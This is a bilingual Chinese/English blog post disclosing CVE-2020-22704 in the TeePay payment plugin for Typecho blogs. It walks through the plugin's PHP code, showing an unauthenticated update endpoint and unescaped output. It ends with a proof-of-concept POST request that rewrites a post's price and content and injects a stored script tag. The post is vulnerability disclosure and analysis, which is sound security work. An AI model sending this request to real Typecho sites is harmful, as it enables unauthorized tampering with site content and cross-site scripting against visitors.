TeePay插件的越权和XSS漏洞/TeePay Plugin Escalation of Privileges and XSS Vulnerability
浏览 4539 | 评论 0 | 字数 9132
卖女孩的小火柴 - 搬砖中
2020年04月01日

https://github.com/mhcyong/TeePay

CVE

CVE-2020-22704

中文版本

English version below

简介

TeePay是一个为Typecho博客提供支付和付费阅读功能的插件,其基础版本开源,但有着轻易可被利用的漏洞。

漏洞触发原理

在Typecho中,对插件的操作绑定在Action.php文件中,设计为action()函数。
在Typecho设计中,这个函数调用是不需要管理员权限的,也就是普通用户甚至无需登录,只要知道url就可以调用这个函数。这个越权问题在Typecho中普遍存在。

很遗憾的是,我们的主角TeePay也存在这个问题,并且,没有对用户输入字符进行过滤,导致了越权后XSS的可能。更新: 在https://pangsuan.com/p/teepay-bugs.html 中,增加了手动修复教程。

action()函数

在1.5.2版本(也就是最新版)的Action.php文件中,第33行就是这个函数。

public function action()
{
    $this->db = Typecho_Db::get();
    $this->prefix = $this->db->getPrefix();
    $this->options = Typecho_Widget::widget('Widget_Options');
    $this->on($this->request->is('do=update'))->updateTeePay();
    $this->response->redirect($this->options->adminUrl);
}

代码非常清晰,其中关键函数是updateTeePay(),让我们跟进这个函数,同样也在这个文件当中。

public function updateTeePay()
{
    if (TeePay_Plugin::form('update')->validate()) {
        $this->response->goBack();
    }

    /** 取出数据 */
    $post = $this->request->from('cid', 'title', 'teepay_isFee', 'teepay_price', 'teepay_content');

    /** 更新数据 */
    $this->db->query($this->db->update($this->prefix.'contents')->rows($post)->where('cid = ?', $post['cid']));

    /** 设置高亮 */
    $this->widget('Widget_Notice')->highlight('post-'.$post['cid']);

    
    /** 提示信息 */
    $this->widget('Widget_Notice')->set(_t('文章 %s 费用已经被更新为 %s 元',
    $post['title'], $post['teepay_price']), NULL, 'success');

    /** 转向原页 */
    $this->response->redirect(Typecho_Common::url('extending.php?panel=TeePay%2Fmanage/posts.php', $this->options->adminUrl));
}

很简单的代码,取出用户提交的参数并不加任何处理放于数据库中,并且弹出费用更新提示。

这一块的代码分析完毕,此时payload已经畅通无阻放于数据库中了,接下来就是如何显示它。

getTeePay()函数

此插件在文章中显示需要添加getTeePay函数,显然这就是显示的主代码,在Plugin.php文件中。
为了便于展示,省略部分不重要的代码。

public static function getTeePay(){
        $db = Typecho_Db::get();
        $options = Typecho_Widget::widget('Widget_Options');
        $option=$options->plugin('TeePay');
        $cid = Typecho_Widget::widget('Widget_Archive')->cid;
        $query= $db->select()->from('table.contents')->where('cid = ?', $cid ); 
        $row = $db->fetchRow($query);
        if($row['teepay_isFee']=='y'){
            if($row['authorId']!=Typecho_Cookie::get('__typecho_uid')){
                $cookietime=$option->teepay_cookietime==""?1:$option->teepay_cookietime;
                if(!isset($_COOKIE["TeePayCookie"])){
                    $randomCode = md5(uniqid(microtime(true),true));
                    setcookie("TeePayCookie",$randomCode, time()+3600*24*$cookietime);
                }
                $queryItem= $db->select()->from('table.teepay_fees')->where('feecookie = ?', $_COOKIE["TeePayCookie"])->where('feestatus = ?', 1)->where('feecid = ?', $row['cid']); 
                $rowItem = $db->fetchRow($queryItem);
                $rowUserItemNum = 0;
                if(Typecho_Cookie::get('__typecho_uid')){
                    $queryUserItem= $db->select()->from('table.teepay_fees')->where('feeuid = ?', Typecho_Cookie::get('__typecho_uid'))->where('feestatus = ?', 1)->where('feecid = ?', $row['cid']); 
                    $rowUserItem = $db->fetchRow($queryUserItem);
                    if(!empty($rowUserItem)){
                        $rowUserItemNum = 1;
                    }
                }
                if(count($rowItem) != 0 || $rowUserItemNum){ ?>            
                价格: <?php echo $row['teepay_price'] ?> 元 付费可读 <?php } 
            }else{ ?>            
                <span><?php echo $row['teepay_content'] ?>作者本人可读
        <?php } 
        }
    }

代码有点长,删了不少不关键的内容,但逻辑很清晰。
先获取文章的cid,再查询请求的cookies有没有付费,再查询访问者是不是作者。
付费区域的我们暂且不讨论,只看作者区域的。
<?php echo $row['teepay_content'] ?>
这里直接输出了$row['teepay_content'],那这个row是哪里的呢?
$row = $db->fetchRow($query);
$query= $db->select()->from('table.contents')->where('cid = ?', $cid );
直接从数据库查询,然后直接返回,并且直接输出。XSS实在太愉快了,过滤都不需要过滤。

POC

POST http://xxxx/action/teepay-post-free
title=xxxtitle&teepay_isFee=y&teepay_price=3.00&teepay_content=%3C%2Fspan%3E%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E&do=update&cid=1

界面重定向到后台登录界面且弹框修改成功即可。

English version

Introduction

TeePay is a plug-in that provides payment and paid reading capabilities for Typecho blogs. The basic version is open source, but has easily exploitable vulnerabilities.

Vulnerability trigger principle

In Typecho, the operation of the plug-in is bound in the Action.php file and is designed as an action () function.
In the Typecho design, this function call does not require administrator privileges, that is, ordinary users do not even need to log in. As long as they know the URL, they can call this function. This problem of Escalation of Privileges is common in Typecho.

Unfortunately, our protagonist, TeePay, also has this problem, and the user input characters are not filtered, which leads to the possibility of XSS beyond the authority. Even more regrettable, after I submitted ISSUE, the developer directly deleted the ISSUE and did not respond to me, which is why I wrote this blog post.

action () function

In the 1.5.2 (that is, the latest) Action.php file, line 33 is this function.

public function action()
{
    $this->db = Typecho_Db::get();
    $this->prefix = $this->db->getPrefix();
    $this->options = Typecho_Widget::widget('Widget_Options');
    $this->on($this->request->is('do=update'))->updateTeePay();
    $this->response->redirect($this->options->adminUrl);
}

The code is very clear. The key function is updateTeePay (). Let's follow up with this function and also in this file.

public function updateTeePay()
{
    if (TeePay_Plugin::form('update')->validate()) {
        $this->response->goBack();
    }

    /** 取出数据 */
    $post = $this->request->from('cid', 'title', 'teepay_isFee', 'teepay_price', 'teepay_content');

    /** 更新数据 */
    $this->db->query($this->db->update($this->prefix.'contents')->rows($post)->where('cid = ?', $post['cid']));

    /** 设置高亮 */
    $this->widget('Widget_Notice')->highlight('post-'.$post['cid']);

    
    /** 提示信息 */
    $this->widget('Widget_Notice')->set(_t('文章 %s 费用已经被更新为 %s 元',
    $post['title'], $post['teepay_price']), NULL, 'success');

    /** 转向原页 */
    $this->response->redirect(Typecho_Common::url('extending.php?panel=TeePay%2Fmanage/posts.php', $this->options->adminUrl));
}

Very simple code, take out the parameters submitted by the user without putting any processing in the database, and pop up a cost update prompt.

The analysis of this piece of code is complete. At this point, the payload has been placed in the database unblocked. The next step is how to display it.

getTeePay () function

This plugin shows that the getTeePay function needs to be added in the article. Obviously this is the main code displayed in the Plugin.php file.
For the sake of illustration, omit some unimportant code.

public static function getTeePay(){
        $db = Typecho_Db::get();
        $options = Typecho_Widget::widget('Widget_Options');
        $option=$options->plugin('TeePay');
        $cid = Typecho_Widget::widget('Widget_Archive')->cid;
        $query= $db->select()->from('table.contents')->where('cid = ?', $cid ); 
        $row = $db->fetchRow($query);
        if($row['teepay_isFee']=='y'){
            if($row['authorId']!=Typecho_Cookie::get('__typecho_uid')){
                $cookietime=$option->teepay_cookietime==""?1:$option->teepay_cookietime;
                if(!isset($_COOKIE["TeePayCookie"])){
                    $randomCode = md5(uniqid(microtime(true),true));
                    setcookie("TeePayCookie",$randomCode, time()+3600*24*$cookietime);
                }
                $queryItem= $db->select()->from('table.teepay_fees')->where('feecookie = ?', $_COOKIE["TeePayCookie"])->where('feestatus = ?', 1)->where('feecid = ?', $row['cid']); 
                $rowItem = $db->fetchRow($queryItem);
                $rowUserItemNum = 0;
                if(Typecho_Cookie::get('__typecho_uid')){
                    $queryUserItem= $db->select()->from('table.teepay_fees')->where('feeuid = ?', Typecho_Cookie::get('__typecho_uid'))->where('feestatus = ?', 1)->where('feecid = ?', $row['cid']); 
                    $rowUserItem = $db->fetchRow($queryUserItem);
                    if(!empty($rowUserItem)){
                        $rowUserItemNum = 1;
                    }
                }
                if(count($rowItem) != 0 || $rowUserItemNum){ ?>            
                价格: <?php echo $row['teepay_price'] ?> 元 付费可读 <?php } 
            }else{ ?>            
                <span><?php echo $row['teepay_content'] ?>作者本人可读
        <?php } 
        }
    }

The code is a bit long and deletes a lot of non-critical content, but the logic is clear.
First get the cid of the article, then check whether the requested cookies are paid, and then check whether the visitor is the author.
We will not discuss the paid area for the time being, only look at the author area.
`<? php echo $ row ['teepay_content']?>`
$ Row ['teepay_content'] is directly output here, so where is this row?
`$ row = $ db-> fetchRow ($ query);`
`$ query = $ db-> select ()-> from ('table.contents')-> where ('cid =?', $ cid);`
Query directly from the database, then return directly, and output directly. XSS is so enjoyable that no filtering is required.

POC

POST http://xxxx/action/teepay-post-free
title=xxxtitle&teepay_isFee=y&teepay_price=3.00&teepay_content=<span><script>alert('xss');</script>&do=update&cid=1

If the interface redirects to the background login interface and there is a prompt, it is successful

本文作者:卖女孩的小火柴 - 搬砖中
本文链接:https://www.shinenet.cn/archives/117.html
最后修改时间:2023-04-19 11:59:17
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
评论
如果可能,请填写真实邮箱,有回复会送至邮箱。请不要水评论,谢谢。
textsms
支持 Markdown 语法
email
link
评论列表
暂无评论